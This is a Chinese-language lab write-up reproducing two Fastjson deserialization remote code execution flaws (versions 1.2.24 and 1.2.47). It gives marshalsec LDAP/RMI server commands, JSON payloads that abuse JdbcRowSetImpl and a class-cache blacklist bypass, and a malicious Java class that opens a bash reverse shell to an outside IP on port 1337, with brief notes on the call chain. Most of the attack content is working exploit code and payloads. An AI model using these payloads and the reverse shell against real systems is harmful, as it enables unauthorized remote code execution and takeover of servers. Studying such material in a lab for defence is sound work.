目录
1.2.24 RCE CVE-2017-18349
复现流程
原理分析
1.2.47 RCE CNVD-2019-22238
复现流程
原理分析
漏洞探测
1.2.24 RCE CVE-2017-18349
复现流程
 
用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473 
 
 
LinuxTouch.java
public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
} 
效果是在靶机临时目录下创建一个success文件
payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://124.222.136.33:9473/suibian",
        "autoCommit":true
    }
} 
发现python启动的http服务接收到字节码请求

再看靶机容器的/tmp下,成功创建success文件

原理分析
1、序列化字符准备类名、dataSourceName属性和autoCommit属性
 2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
 3、setAutoCommit()调用connect()
 4、connect()调用lookup()连接到LDAP/RMI服务器
 5、下载恶意代码到本地,执行,攻击发生
1.2.47 RCE CNVD-2019-22238
复现流程
vulhub启动靶场

用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:8089/#LinuxRevers" 9473
 

用python启动HTTP服务,存放恶意字节码(LinuxRevers.class)

LinuxRevers.java
public class LinuxRevers {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}
 
效果是反弹shell给1337端口
监听1337端口

payload:

{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://124.222.136.33:9473/suibian", "autoCommit":true
}
} 
发现marshalsec转发请求,python启动的http服务接收到字节码请求

 
1337端口成功反弹shell

原理分析

autoTypeSupport为true时,fastjson首先判断类是否在白名单内,命中则加载该类
接着判断类是否在黑名单内且TypeUtils.mappings中没有该类缓存,才抛出异常。
接着继续尝试在TypeUtils.mappings中查找缓存的class
我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击



















